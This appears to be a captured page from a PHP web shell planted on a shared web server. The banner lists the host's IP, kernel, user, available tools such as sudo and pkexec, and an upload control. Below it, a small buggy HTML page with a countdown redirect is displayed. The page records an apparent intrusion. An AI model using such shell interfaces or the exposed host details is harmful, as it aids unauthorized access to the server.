Server IP : 162.240.98.243 / Your IP : 18.219.63.95 Web Server : Apache System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : btiyawmy ( 1003) PHP Version : 7.2.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/btiyawmy/public_html/login.easenup.in/ |
Upload File : |
<!DOCTYPE html> <html> <body> <script> <div id="some_div"> </div> </body> </html> <script> </script> <form method="post"> <button type="submit">click to show</button> </form> <div id="some_div"> </div> <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script> <script type="text/javascript"> $(function() { $('form').on('submit', function(event) { // pass an event argument so we can call preventDefault event.preventDefault(); // call event.preventDefault to stop form submitting immediately var timeLeft = 5; var elem = document.getElementById('some_div'); var timerId = setInterval(countdown, 1000); function countdown() { if (timeLeft == -1) { clearTimeout(timerId); doSomething(); } else { elem.innerHTML = timeLeft + ' seconds remaining'; timeLeft--; } } setTimeout(function() { // Set up a setTimeout operation console.log('form submitted after timeout'); window.location.href = 'pavansingh'; }, 5000); /// 5000 ms == 5s }); }); </script>